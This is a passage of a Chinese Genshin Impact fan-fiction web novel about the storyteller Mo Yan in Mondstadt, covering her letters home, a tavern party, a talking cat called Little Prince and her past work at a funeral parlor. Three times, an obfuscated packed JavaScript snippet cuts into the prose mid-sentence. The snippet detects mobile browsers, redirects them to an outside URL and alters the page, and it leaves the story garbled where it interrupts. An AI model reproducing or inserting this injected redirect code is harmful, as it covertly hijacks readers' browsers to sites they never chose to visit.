“只有一点点……吧?” 莫言的故事还在继续:“几番相亲下来,整个蒙德贵族圈子里都传遍了——珐尔嘉家大小姐,那可不是寻常人能消受得起的。渐渐地,再也没人敢来提亲了。” “列位看官,您说这事儿搁在旁人身上,少不得要哭哭啼啼,怨天尤人。可咱们这位珐尔嘉小姐,在擦干眼泪后,做出了一个决定——” “她要加入西风骑士团!” “咱们美丽优雅的珐尔嘉小姐啊,要的不是一个端坐在客厅里只会吟诗作对的公子哥儿,她要的是一个能跟她在演武场上真刀真枪过招,能跟她坐下来推杯换盏不分胜负,能与她并肩而立、共御外敌的人!” “她要的,是这世间最强的男人!” “而这世间最强的男人们,都在西风骑士团!” 慷慨激昂地做出以上陈词,莫言一挥折扇:“所以,珐尔嘉小姐做了一个惊天动地的决定——” “她剪了长发,束了胸膛,穿上了铠甲,化名法尔伽,以一名流浪剑士的身份,叩响了西风骑士团的大门。” “可这西风骑士团中,究竟谁人能入得了这位珐尔嘉小姐的法眼?她这女扮男装的秘密,又究竟能瞒到几时?” 莫言带着笑意,拍下了手中的惊堂木:“欲知后事如何——” “且听下回分解!” 35、 “凯亚哥哥,你在做什么呀?” “我在给大团长写信呢。” “咦,凯亚哥哥是在写莫言姐姐的故事吗?可莉也去听了,好玩!” “是啊,大团长离家太久了,凯亚哥哥当然要把蒙德城最新的潮流讲给他听啊。” “哇!凯亚哥哥是大好人!” 36、 与此同时,在另一边—— “唉?这封信是被风吹来的吗?大团长,这封信——” “哦?我来看看。” “嗯嗯……哦哦……哇!” “大团长!” “哈哈哈!好有趣的小姑娘!礼仪胜过优菈吗……优菈,除了剑术,你需要学得还多的很呢?” 37、 又,与此同时,在另一边—— “哼,竟然说我的礼仪不如法尔伽,这个仇,我记下了!” “阿嚏!该不会还在写我的故事吧?可恶,这个仇,我也记下了!” 38、 又,与此同时,在另一边—— “客卿客卿,快来看啊,莫言把她的新故事寄给咱们了!” “以普遍理性而论,这个故事确实不错。” “唉,明明有捏造女身传闻的是咱们的岩王爷,这次,竟然让蒙德大团长抢了先机,遗憾啊,遗憾。” “……不,我倒觉得,如此甚好。” 8. 信与远方的故乡 39、 一个不大不小的信封,是寄给老爹老妈的。 亲爱的吴语和莫说: 你们最最亲爱的女儿,给你们来信啦!请放心吧,我在蒙德城特别特别好,这里的人很善良,说话也好听,我超爱这里的! 我的说书大受欢迎,大家都很喜欢我的野史,也赚了很多很多钱(随信附上部分,仅作为炫耀:))你们的女儿啊,终于出息啦! 不写啦,我要去继续筹备我的说书了,观众们已经等不及了! 未来全提瓦特最厉害的说书人 莫言 40、 一个单薄的信封,是寄给重云的。 重云收: 自从海灯节一别,我们已经有大半年没有见面了。不知道你找到妖邪了吗?我感觉你没有。不过,哼哼,我已经有成为最伟大的说书人的苗头了! 假如你收到这封信,可以来蒙德看我说书,我请你吃蒙德城最出名的蜜酱胡萝卜煎肉,超级好吃,真的,不骗你。 哎呀,谁能想到,咱们两个中间,我会是第一个可以实现梦想的那个呢?哦吼吼吼吼吼吼。 正在实现梦想的 莫言 41、 一个鼓囊囊的信封,是寄给行秋的。 寄给某位二小姐: 把那张照片撕了!把我爬在野猪身上那张照片撕了! 在你撕掉照片之前,我没有什么跟你说的! (我给重云写了一封信,但是不知道他现在游历到了哪里,放你信封里了,记得帮我转交一下,不准打开。) (我想给香菱寄一些食材,反正做出来的菜肯定会便宜你,邮费就你出吧。我让飞云商会帮我把东西带回去,记你账上了啊。) (不许去我妈那里告状!不许!不许!) 现在!立刻!马上!撕了照片! 愤怒的、生气的、狂暴的 莫言 42、 另一个鼓囊囊的信封,是寄给胡桃的。 给胡桃: 假如我是最伟大的说书人,胡桃你就是最伟大的分析师! 就像你分析那样,蒙德城很喜欢我的故事。《珐尔嘉寻夫记》第一章获得了超级大好评(就是我给你寄过去那章),大家都很喜欢我的野史。 我赚了一点点钱,虽然没有在往生堂赚得多,但也够维持生计了。(别跟我爸妈说,我给他们说的是,我赚到了大钱,记得帮我隐瞒一下。) 此外,我写好了《珐尔嘉寻夫记》第二章,放在信封里了,期待你的反馈。 对了,记得让行秋把我照片撕了!别管照片是什么,让他撕了就行! 野史学家 莫言 43、 一个沉甸甸的包裹,上面插着一封信,是给香菱的。 最伟大的厨师香菱收: 我在蒙德很好,可是吃的不是很好,我真的好怀念你做的水煮黑背鲈啊。 蒙德城的菜都很奇怪,酱料多多的,吃得我好不习惯。 但你喜欢研发新菜,我给你买了一些原材料,很期待你能做出璃月风味的蒙德菜! (虽然有点重,不要担心邮费的问题,飞云商会的二小姐会买单的。) 菜单附上,记得清点。 食客 莫言 44、 一张纸,塞进信封,是给钟离先生的。 尊敬的钟离先生: 您好!非常感谢您的建议,如您所言,我在蒙德城很好,有了新的灵感,有机会继续讲给您听。 非常感激您过去的指点(鞠躬) 莫言 45、 “在写什么呢?”凯亚从莫言背后冒出来,坐在了她身旁的椅子上 ,“明明是给你的庆功宴,所有人都热热闹闹的,主角却在这里偷偷独处,这可不合适啊。” 一边说着,他还递过来了一杯酒。 收起信封,莫言嫌弃地看着凯亚手中的酒:“有酒精吗?有就拒绝。” “你真的需要锻炼一下酒量了,不然,你要错过多少美味啊。”凯亚摇摇头,将杯中的酒一饮而尽。 喝完,他冲莫言笑了笑,轻轻推了推她的后背:“去吧,该去享受你的酒会了,主角小姐。” 莫言站起身,模仿着蒙德城门口守卫的动作,优雅地行了一个骑士礼:“遵命,凯亚队长。” “不过,我可以问几个问题吗?”她眨眨眼,笑眯眯的看着凯亚。 许是美酒过于醉人,凯亚掏出一枚摩拉,抛出又接住:“当然可以。” 46、 “你想谈恋爱吗?” “啊?哈哈哈,这个问题嘛……” “你想在故事里,和珐尔嘉小姐谈恋爱吗?” “……不想。” “竟然拒绝的如此果断吗?不再认真思考一下吗?” “不要。不想。容我拒绝。” “可是丽莎小姐说,凯亚先生的身份很合适。身为西风骑士团的骑兵队长,却愿意献出所有的马匹,让法尔伽先生用以远征。这不是爱,又是什么呢?” “……可能是,我为了偷懒不照顾马匹吧。” “你真的不想和珐尔嘉小姐来一段美妙的爱情吗?” “……我感觉我不是很合适。你感觉迪卢克先生如何?” “哦?为什么是迪卢克先生?” “迪卢克先生也用的大剑!这是,大剑之间的爱情!” “哦哦哦哦哦哦哦!记下了记下了!” 47、 人群喧闹,迪卢克却坐在熟悉的柜台里,一言不发地擦着玻璃杯。 从莫言认识他的那天起,他似乎一直在擦着玻璃杯。这让她忍不住陷入沉思。 天使的馈赠生意这么好吗,竟然连老板也需要亲自下场干苦力活? 迪卢克先生就不考虑再雇佣一些人吗?这样,他就可以腾出时间,去成为暗夜英雄,或者和珐尔嘉小姐谈一场惊心动魄、恨海晴天的恋爱了。 “等等,这两者或许可以兼容?”莫言摸摸下巴,认真思考起了这个灵感。 迪卢克和珐尔嘉小姐都是西风骑士团的一员,二人相知,相爱,却因为某种还没有想好的原因决裂,之后,迪卢克离开了西风骑士团,化身为暗夜英雄,在暗中拯救蒙德…… 莫言越想越心动,忍不住凑到迪卢克身边:“你想和珐尔嘉小姐谈场恋爱吗?” “不想。”迪卢克放下手中的玻璃杯,面色依旧平静,“大团长和我父亲是同辈。” “哦,好吧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17391741|200310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那确实不行。” 48、 不知为何,正在努力为珐尔嘉小姐寻夫的莫言被推到了人群中央,递上了一杯蒲公英酒。 凯亚笑着,举起了手中的酒杯:“大家静一静,让咱们的说书人吴妙嘴说几句!” 莫言看了看手中的酒,感觉十分有十二分的摸不到头脑。可所有人都看着她,期待着她带来新的故事。 这感觉是如此的美妙,让她不禁有些沉醉。 她微笑着,举起了手中的酒杯:“从今以后,蒙德城不仅会有故事和诗篇,也有了——” “珐尔嘉小姐!” 人群中传来哄笑声。不知是谁大声喊出—— “为我们最伟大的说书人,干杯!” 多么美妙的氛围啊。莫言勾起嘴角,下意识将杯中液体一饮而尽。 49、 “哎哎哎,莫言莫言!你怎么了?” “啊哈哈哈,我怎么给忘了,莫言喝不了酒啊……” “哈哈哈哈哈哈哈哈!看来,咱们的说书人还有很大的进步空间呢!” 50、 莫言醒来时,正是深夜。 她从床上爬起身,感觉整个人都有几分迷茫。 “哪个好心人把我带回家的……明天得谢谢他。” 顶着乱糟糟的鸡毛头,莫言先检查了一下自己的灵感小本,又清点了一下信封的数量,确定没有遗失物品后,才整个松了一口气。 “哎,这蒙德什么都好,怎么大家都这么喜欢喝酒呢?要是没有酒就好了。”她抽抽鼻子,感觉浑身都是酒的臭味,便直接推开了窗户。 此时正是夜半,月色正好,猫咪在对面窗台上伸着懒腰,黑色的人影划过天空,微风拂面,给莫言带来几分清醒。 “真好啊……等等,刚刚是不是过去了什么鬼东西?” 莫言忍不住将身子探出窗外,上下左右仔仔细细检查了一遍,在自己房屋的房檐上,她看见了—— 温迪。 ??? 这人怎么在这里的? “难不成,我喝多了在梦游?”莫言揉了揉眼。 但很可惜,那个绿色的身影并没有消失,甚至还举起右手,挥了挥手掌:“晚上好啊,莫言!” 莫言也挥了挥爪子:“晚上好啊,温迪。你怎么在这里?” 温迪看起来十分头疼:“哎,我也想回家,可那只猫偏偏占据了我回家的必经道路。我又偏偏对猫毛严重过敏,没办法,便被逼到了此处。” 对面窗台上的猫咪舔了舔爪子,发出轻轻的喵喵声。 温迪双手合十,满脸的期待:“求你了,好心肠的莫言小姐。您能不能抱住那只猫咪,让可怜的吟游诗人回家呢?” “可以啊。”虽然感觉不大清醒,但莫言依旧和温迪来到了大街上。那只猫咪也随着下来。 走在前面的温迪回过身:“我数123,然后就冲过去。莫言啊,你可一定得保护好我。” “好哦。”莫言眨眨眼,迷茫地看着温迪冲了过去,又迷茫地走上前去抱起了猫。 绿色的身影飞快的消失在了街角。 莫言低下头,和怀中的猫儿四目相对:“晚上好啊,小猫。” “我想吃水煮黑背鲈,你喜欢这个吗?” 9. 戴帽子的小王子 51、 昏昏欲睡的莫言送走了温迪,便带着睡意,直接返回了家中。 “奇怪,是太累了吗?怎么感觉身体这么沉重……”莫言努力眨眨眼睛,却也没让自己清醒几分。 “算了,先回家吧。” 走啊走啊,终于走回了家。莫言瘫在床上,感觉身体轻松了不少。 她一扭头,看到了一只猫。 和这只戴着小礼帽、捆着蝴蝶结的小猫对视一分钟后,莫言终于感觉有些不太对劲。 “等等,我怎么把这小家伙抱回来了?” 那只害得温迪半夜回不了家的猫,就这样被她抱回了自己的家。 莫言苦笑一声,一巴掌拍在了自己脸上:“一心着急回家的莫言,就这样,偷走了一只猫咪。” “真的是,很合格的故事开端呢。” 52、 “喂!等等,你是谁家的猫啊,怎么大半夜还不回家!” “去陌生人的家就算了,你还抢陌生人的床!岂有此理,真是岂有此理!” “小猫好,小猫乖,小猫往旁边让一让,让姐姐有个地方睡觉,好不好?” “不好就不好,你怎么又横起来了!喂!坏猫!” “有人认识这只猫吗?有人认识这只坏猫吗?猫猫迪奥娜小姐会认识这只坏猫吗?” “坏猫也得回家啊!” 一夜无梦。 不过,对于这只戴帽子的猫来说,是一场别开生面的冒险呢。 53、 第二天清晨,晨光尚未破晓,各大酒馆还在打扫,莫言已经顶着黑眼圈,抱着这只占据了她的床、让她不得不在桌子上趴了一宿的可恶的、戴帽子的猫,出现在了猫尾酒馆的大门前。 “迪奥娜小姐,同样是猫猫,你可一定要认识这只猫猫啊……” 第无数次叹气后,莫言将怀里的坏猫向上颠了颠,用脑袋顶开了猫尾酒馆的大门。 “迪奥娜小姐!迪奥娜小姐在吗!”她高喊着,“这里有只猫,你认识吗?” 见到有客人,迪奥娜从里屋里走出来,满脸地不高兴:“真是的,是哪个讨厌的酒鬼,大早上醒来买醉。” 莫言立刻举起怀里的猫:“猫!我不来买酒,我需要迪奥娜小姐帮我认一认猫!” 迪奥娜满脸都是疑惑,她往前走几步,想认真看一看猫:“虽然我确实有猫耳朵,但也不是什么猫都……”话说到一半,她却忽然闭上了嘴。 戴帽子的猫看了她一眼,轻轻地喵了一声,便从莫言的怀中跳了下来,扑到了迪奥娜脸上。 “!迪奥娜小姐!”莫言连忙伸手去,试图把这只作乱的坏猫抱下回来,“你这只坏猫,难不成是看上了迪奥娜小姐的美色……” 说到这里,猫没有抱回来,莫言自己先愣了:“迪奥娜小姐是三花猫诶……三花,不就是猫猫中的顶级美女吗?” “坏猫,难不成你是看上了迪奥娜小姐?有眼光啊!” “喂!你在胡说八道些什么呀。”迪奥娜表情有些愤怒,可她头上又顶着一只黑猫,看起来有一种气鼓鼓的可爱,“这是猫尾酒馆的猫,是我的同事。” “同事?”莫言有几分疑惑,但看迪奥娜不排斥头顶上的猫,便缩回了手。 正当她困惑间,却见一个身影迅速窜出来,把迪奥娜头上的小猫抱了下来。 “小王子大人,您可算回来了!”男人抱着黑猫,在猫身上蹭了蹭。他表情是淡定的,动作却夸张又激动。 莫言摸了摸脑袋:“还真是猫尾酒馆的猫啊 ,原来在蒙德城,小猫也要打工的吗?” 她挠了挠下巴,感觉自己很不礼貌:“不对不对,重说重说。原来在蒙德城,除了迪奥娜小姐以外,普通的小猫也要打工吗?” 不普通的迪奥娜小姐:“喂!” 抱走男人正将猫摆回柜台上,闻言也冷哼一声:“我们小王子大人可不是普通的小猫,它说——” 为了引起悬念,男人的声音拉得长长的,就是不往下面说。 这是说书人常用的手法,莫言不可谓不熟悉。她煞有其事地点点头:“哦哦,我懂的,小王子不是普通的小猫,它是——戴帽子的猫!” “没错!小王子大人就是这样……不对,不对!”男人摆摆手,“小王子大人,是会说话的猫哦。” 莫言眨眨眼。她蹲下身看着猫猫,戳着猫猫的爪子:“小王子小王子,你会说话吗?” 小王子看着她,也眨了眨眼睛。 “喵。[我当然会喽]。” 莫言忍不住瞪大了眼睛:“你你你,你你你……” “你竟然,在模仿猫说话!” 男人摇摇头:“我没有说话,刚刚确实是小王子在说话哦。” “会说话的猫……带帽子的猫……”莫言忍不住喃喃自语,陷入思考。 见莫言沉思,迪奥娜忍不住上前一步:“恕筠,不要欺负莫言啦。”她瞪了名为恕筠那人一眼,拉着莫言坐下。 被同事拆台,恕筠也不生气。他抱着小王子,将一个盒子放在莫言面前的桌子上:“喵。[感谢莫言小姐送我回家,作为回报,我送你一副七圣召唤的卡牌吧。]” 他双手举起小王子,又夹着嗓子配音,仿佛真的是这只小猫在说话。 这真是……这真是…… “这真是,极好的灵感啊!” 莫言直接掏出随身小本,开始疯狂地写写写:“在某个不知名的国度,有一个酒馆老板去世了……” 写到这里,莫言停下了手中的笔,咬着笔杆陷入了思考:“不知道为何,看见酒馆老板,我老是会想到迪卢克先生……算了算了,看在他请我喝酒的面子上,这次不写酒馆了。” 她歪歪头,不自觉地看到了窗外的风车:“风车,风车……那就磨坊吧!” 将写下的段落画去,莫言开始重新梳理这个故事:“在某个不知名的国度,有一个磨坊主去世了,他给三个儿子留下来三件遗产——磨坊、驴子和一只猫。” 迪奥娜举手表达异议:“为什么会有驴子啊?” 莫言用笔挠挠头:“我也不知道,但就是感觉应该有一只驴子。或许我应该尊重一下蒙德风格,改成一匹马?” “不过,其实我也没有在蒙德城里见过马。但是蒙德城又有骑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17391742|200310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兵队长……” 话题被扯偏,迪奥娜直接出言打断莫言关于马的探讨:“哎呀这不重要,继续讲继续讲,之后发生了什么呢?这只猫猫肯定不简单吧。” 莫言哼哼一声,一边写着,一边将故事念出来:“大儿子分到了磨坊,二儿子分到了驴子,小儿子呢,则分到了一只猫。” “这只猫可不是一般的猫,它是——”莫言拖长语调,将所有的好奇心都吊起得高高的,这才满意的给出答案,“它是,戴帽子的猫!” 小王子配合地喵了一声。恕筠也配合地回应:“[呀,是我小王子吗?]” “是啊。”莫言笑眯眯地翻过一页,“哥哥们都分到了财产,小儿子却只分到猫。正在他抱怨时,猫突然开口说:给我一顶帽子,你就能发家致富。” 柜台上的小王子和恕筠:“喵。[给我一顶帽子,你就能发家致富]。” “这只猫猫为什么这么神奇呢?它为什么能开口说话呢?它要怎么帮我致富呢?”莫言粗着嗓子,模仿着男声,“小儿子想啊想啊,就是想不出来 。” “是啊是啊,小王子怎么让小儿子发家致富的?”迪奥娜追问。 要紧时候,莫言却卖起了关子:“是啊,为什么呢?” 见她迟迟不开口,迪奥娜急得站了起来,绕到了莫言背后,想去看她本子上的字迹。 莫言却伸出手,盖住了自己的本子:“嘛,这是我的草稿,还请迪奥娜小姐给我留一些小小的隐私啦。” “抱歉抱歉,我只是有些着急……”迪奥娜有些不好意思地坐回原位。 莫言笑得更开心了:“没关系啦,事实上能看到观众这样的反应,所有的说书人都会很高兴呢!” “照你这样说,若想成为最合格的观众,我应该去找个麻袋,把莫言小姐关进小黑屋里,逼着你天天写稿,天天给我讲故事。” 开门声裹挟着熟悉的声音,被风吹到莫言耳边。 莫言眼睛一亮,快乐地和凯亚打招呼:“凯亚早上好!今天你也不上班吗?” 身高修长的修女从凯亚背后走了出来,坐在了莫言的身旁:“是啊,不用早祈,也不用晚祷,我可真羡慕凯亚先生呢。” 修女熟练地点了两杯“午后之死”,将酒单递给迪奥娜后,才冲莫言笑了笑:“你好,莫言小姐,我是罗莎莉亚,西风教会的修女。” “最近你的说书风靡蒙德城,可惜,您讲述《珐尔嘉小姐寻夫记》时,正是西风教会的早祈时间,没能当场听到你的说书,真让我遗憾。 ” 顶着大大黑眼圈的罗莎莉亚勾起嘴角:“或许,今天的我能有荣幸听一个完整的故事?” “不行!我现在要去调酒,莫言,你一定要等我回来再讲!”话音未落,迪奥娜已经拎起酒单,从大堂里消失了。 “哎呀呀呀,看起来真不巧呢。”凯亚也在莫言身旁坐下。他依旧抛着摩拉,看起来格外闲适,“为了美酒,我们只能等一等再听故事啦。” “不过,虽然听不了故事,我们总得聊点什么吧。”他后手将摩拉扣在桌面上,“莫言,你的故事讲的这么好,为什么不在璃月当说书人呢?” 10. 能不能现在就把花初抓起来 54、 “莫言,你的故事讲的这么好,为什么不在璃月当说书人呢?”凯亚语气轻佻,却特意咬死了“璃月”二字。 罗莎莉亚看了他一眼,轻笑一声,翘着二郎腿坐在椅子上:“是啊,我也很好奇呢。” “来自璃月港的、蒙德城最好的说书人,为什么不选择在故乡说书呢?” “诶,只聊这个吗?”听到二人的话,莫言有几分吃惊,“我还以为你们会更好奇《珐尔嘉小姐寻夫记》的第二章呢,看在凯亚的份上,我可以提前讲给你们听哦。” “可恶,好诱人的条件。”凯亚双手抱胸,“可是,我还是很好奇莫言的故事呢。” “毕竟我们是朋友呢。如果莫言在璃月港遇到了麻烦,可以向我们求助哦?” “没有没有。”莫言疯狂摇手,“我只是有点担心,我的故事会有些无聊。不过你们想听,也没有什么不可以讲的。” 她紧紧地抿着嘴,用手中的笔敲打着桌面:“不在璃月港说书的理由,首先就是钱……嗯,如果说我喜欢的书,我就赚不到钱。” “在璃月港,大部分说书人都被各种茶馆雇佣,在那里说书。比如我男神、再比如我男神的师兄。他们会说很经典的故事,也会将经典的故事,改编成说书。” 她指指自己:“可我不喜欢那样,我喜欢编造一些新的故事,比如珐尔嘉小姐……我做不来那些老牌说书人的工作,也不是那些人的对手,根本找不到一点工作!” 凯亚疑惑:“一点都找不到吗?你故事说的这么好,怎么可能呢。” “也不算完全找不到工作吧,我曾小范围给朋友们说书。我的朋友们都很欣赏,其中一位好朋友,香菱,邀请我去她的万民堂给食客们说书。” “结果……”讲到这里,莫言看起来有几分沮丧,“可能是我说的有些无聊吧。结果,我刚刚开了个头,食客们自己就吵起来了。” “哦?”凯亚开始好奇了,“你到底说的什么故事?岩王奶吗?” 莫言疯狂摆手:“不不不,我怎么敢一开头就讲这么劲爆的故事啊。当时璃月港正流行《神女劈观》,我索性就围绕着这个戏剧,进行了二创。” “你来蒙德后,第一个故事可是《珐尔嘉小姐寻夫记》啊……”凯亚单手捂脸。 “这能一样吗,这能一样吗!”莫言是如此的理直气壮,“在蒙德,不再自由一点,怎么对得起芭芭托丝女神呢!” “巴斯托斯在上,虽然很好奇你怎么二创的,但你得先和我们讲一下这个故事吧。”罗莎莉亚敲着桌子,“恕我孤陋寡闻,这个故事还没有流传到蒙德呢。” “好的嘞。”莫言点点头,便夹起了嗓子,“可——叹——” “秋鸿折单复难双~~” 这戏腔满是感情,没有一点技巧,即使高音上不去低音下不来,莫言依然沉浸又快乐。她唱的如痴如醉,围观的二人却越来越沉默。 一曲唱罢,莫言快乐地点了点头:“怎么样怎么样,我们璃月港的传统戏剧不错吧!” “啊哈哈,想来,若是出自璃月港大家之口,这段戏剧一定着实有趣。”凯亚没敢正面回应,立刻转变了话题,“所以,你到底二创了什么?” 莫言挠挠头:“就像故事里所说的,魔物为祸村庄,要求用女童献祭。一位少女主动请缨,身藏利剑进入魔窟,经过苦战最终击败魔物,救下了所有人。” “少女因资质过人被仙人救走并收留,在仙府修炼,从此斩断尘缘,成为传说中的神女。” 罗莎莉亚点点头:“很经典的英雄故事。” “但我觉得这个故事太无聊了!”莫言一拍桌子站了起来,“这少女出现的没头没尾,太不合常理了!” 她竖起手指,故作神秘地看着二人:“所以,我给她加了一个来历——少女并非主动请缨,而是被父母献祭的!” “为什么要这样改?”凯亚好奇。 “因为我推己及人吧。”莫言陷入深思,“若是父母还在,将女儿送与仙家修行时,定会痛哭流涕。可戏里完全没有写诶。” 她双手一摊:“不过我没讲到这里,刚刚提起少女来历不明,大家就吵起来了。” “有人说这少女是孤女,在村子中吃百家饭长大,因此愿意为村子付出。然后提出论据一二三。” “另有人提出反对意见,说这少女父母一定是侠客,不然怎么少女年纪轻轻,会有这么厉害的本领。侠客心怀四方,送女儿去修仙,自然不会涕泪连连。然后提出论据四五六。” 恕筠不知何时也抱着小王子站了过来。小王子点点头:“喵。[确实都有几分道理。]” “当然,更多人表示让我们安静一点,不要打扰大家吃饭。”莫言叹了一口气,“于是,为了万民堂的生意,我只好带着我的惊堂木离开了。” 她扼腕叹息:“可恶啊,我还有少女师父的故事想讲呢。仙家不食人间烟火,师父一定不会做饭,于是,师父就开始研究各种法术,制作了烹饪神机,结果,少女不爱吃烹饪神机造的食物,反而是其他仙家每日饭点前来等待开饭。” “可惜啊,可惜。” 凯亚眨眨眼:“然后,你就来了蒙德?” 莫言摇摇头:“这倒没有。但《神女劈观》二创说书还没有开始就结束事件后,我去了一个绝对不会打断我说话的地方——往生堂。” 凯亚疑惑:“这是什么地方?听起来好像不太吉利。” “往生堂……”罗莎莉亚念叨两遍,“哦,璃月的那个负责丧葬的地方吗。” 莫言点点头:“是的。我去帮人家办白事。” 凯亚面容惊恐,他看看莫言,又看看戴帽子的小王子,大为震惊:“你,去葬礼上说书?这是谁的主意?这也太有创意了吧。” “是我好友胡桃的主意。她是往生堂的第七十七代堂主,也算是我的贵人吧。”莫言再次陷入了沉思,整个人的表情却扭曲了起来。 “有什么不快乐的回忆吗?”凯亚出声,却难得不是继续追问,“如果说出来会让你不快乐,那就别讲了。” “也不算吧。”莫言表情更痛苦了。忧伤、愤怒交替出现在她的脸上,看起来像抽筋了。 她捂着脸,倒吸了几口冷气,才继续往下讲:“胡桃让我负责在葬礼上讲述逝者生前的经历。语气严肃一点,不要加入太多创作。” “是感觉不自由吗。”罗莎莉亚了然,“也是,毕竟,你似乎很喜欢创作。” “倒也还好。”莫言把脑袋砸在桌子上,声音闷闷的,“家属会提供逝者的大致经历,不过很含糊,也给了我很大的编造空间,反正往好的编就行。” “我只经历过两次葬礼。一次是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17391743|200310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个老人,一个千岩军老兵。我就讲了她征战保护的一生,也很波澜起伏。但是只要想到主角已经去世了,我就感觉心里闷闷的。” 她苦笑一声:“感觉,认识了一个很厉害的朋友。可我认识她时,她已经走了。” “然后,是第二次葬礼。这次是给一个富家小姐,年纪很轻,父母十分疼爱。可有一天,她的父亲在井水里发现了女儿的尸体。” 莫言的声音越说越大,越说越急:“这个女孩的身姿与我和胡桃相似。在葬礼上,她的父亲看着我和胡桃一直在抹眼泪。” “讲完那个故事,我就离开了往生堂。我!想去讲一些给大家带来快乐的故事!” “然后!在胡桃和往生堂客卿钟离的建议下,我就!来到了!蒙德!” 知道了前因后果,凯亚看起来却更加疑惑了:“你好像在生气?为什么?” 莫言嚯的一下抬起了头,露出了那张愤怒的脸:“因为这个女孩子,我难受了好多天,只要一闭上眼,就会想起她父亲的眼泪。” “结果!我!在石门碰到了她和她的姘头!”莫言一拍桌子站了起来,满脸都是愤怒,“哇你们知道吗,我当时还以为自己是白日见鬼了。结果!她!还活着!” “父亲为女儿的离开难过得生了好几场病,结果!女儿偷偷摸摸跟人跑了!” “千岩军呢!千岩军为什么不把这对狗男女抓起来!” “所以,你报官了?”罗莎莉亚问。 莫言气鼓鼓地坐下:“报了。因为地点过于偏僻,为了防止打草惊蛇,行秋……我朋友行秋还特意返回了璃月港,督促案件。” “毕竟,虽然花初……这个女儿没有死,可举办葬礼时,确确实实出现了尸体。这尸体是谁的,这个人是怎么死的,都需要进行调查。” 说着说着,莫言冷哼一声:“要不然,我也不会这样放行秋走。” “说好要送我来蒙德,结果他倒好,拿了枫丹来的留影机,拍了各种稀奇古怪的照片。” “我让他撕,他还不撕。现在倒好,说案件涉及刑事,每次给我写信,不给我讲案情进度,非要附一张各种我的丑照。可恶的人啊!” “什么可恶?”迪奥娜抱着托盘,从内室走了过来,“抱歉,时间太早了,很多材料都没有配齐,抱歉让大家久等了。” 将三个酒杯放到桌子上,迪奥娜瞪着一双亮晶晶的眼睛,凑到了莫言身边:“好啦我忙完了,终于可以听故事啦。” “快讲快讲,戴帽子的小王子是怎么赚钱的呢?它是真的会说话吗?” 一边说着,迪奥娜还将一个酒杯推了过来:“我请你喝苹果汁!你一定要给我们小王子准备一个有趣的故事哦。” 看着迪奥娜期待的样子,莫言却有几分心虚。她最初的灵感其实很简单,小王子救了落水的迪卢克老板,迪卢克老板为了表达感激,就将天使的馈赠赠与了小王子。 她琢磨着,虽然故事发展很老套,但是也算有趣吧? 可看着眼前的苹果汁,看着凯亚和罗莎莉亚摇晃着酒杯,却不肯喝一口的模样,莫言清了清嗓子:“现在,我会讲述一个非常有趣的、配得上小王子的故事。” 她从怀里掏出折扇,反手一展—— “会说话的小王子、戴帽子的小王子是怎么赚钱的呢?诸位,且听我细说!” 11. 小王子先生与戴帽子的小王子 55、 “咳咳咳!”莫言清清嗓子,“话说天下大势,分久必合,合久必分……哦,串台了。咱今儿不聊江山,单表一位四条腿的好汉。” 凯亚举起手来:“提问!天下大势为什么分久必合,合久必分?七国难道不是永恒的吗?” “是啊,七国就是七国,不会合或者分……”莫言摸摸头,感觉自己脑袋有些不清醒,“我也不知道为什么,就是一秃噜嘴就说出来了。” 连惊堂木也没有放下,莫言直接抱着头蹲在地上:“可恶,果然还是要准备草稿,不然我脑子里都是些什么呀!” “分久必合,合久必分吗……”迪奥娜双手抱胸,“这句话好像很有哲理的意思诶。” “但是都是歪理啦。”莫言放下捂着脑袋的手,表情郁闷,“就像龙和神天生就是死敌一样,都是莫名其妙的歪理。” “这个念头也好有趣!”迪奥娜眼睛却一亮,“风魔龙是风神的眷属,是四风守护之一,可他却天生是风神的死敌,这种,这种……” 莫言也点点头:“恨海情天嘛,这种cp最好磕了。” “等一下!大家先别管龙啊神啊的,能不能先管一下小王子!”温迪的声音突然传来。这声音闷闷的,远不如平常的清亮。 莫言扭头循声望去,发现那个熟悉的绿色身影就站在窗外,幽幽地看着众人:“已经拖延了两章了,再不讲小王子的故事,观众们会失去兴趣的。” “什么两章?”莫言有些摸不着头脑,但观众出言催促,她便放下脑中纷繁的思绪,清了清嗓子: “这位好汉是谁呢?且听我细说!” 56、 “话说从前有个老磨坊主,临咽气之前,给三个儿子分家当。老大分得磨盘,老二牵走毛驴,到了老三这儿……嘿,就剩下一只猫。” 小王子舔舔爪子:“喵。[没错,就是我小王子。]” “老三那个委屈啊,蹲在墙角直叹气:大哥二哥磨了面能换钱,我倒好,杀了这只猫做个帽,往后怕是要喝西北风了。” 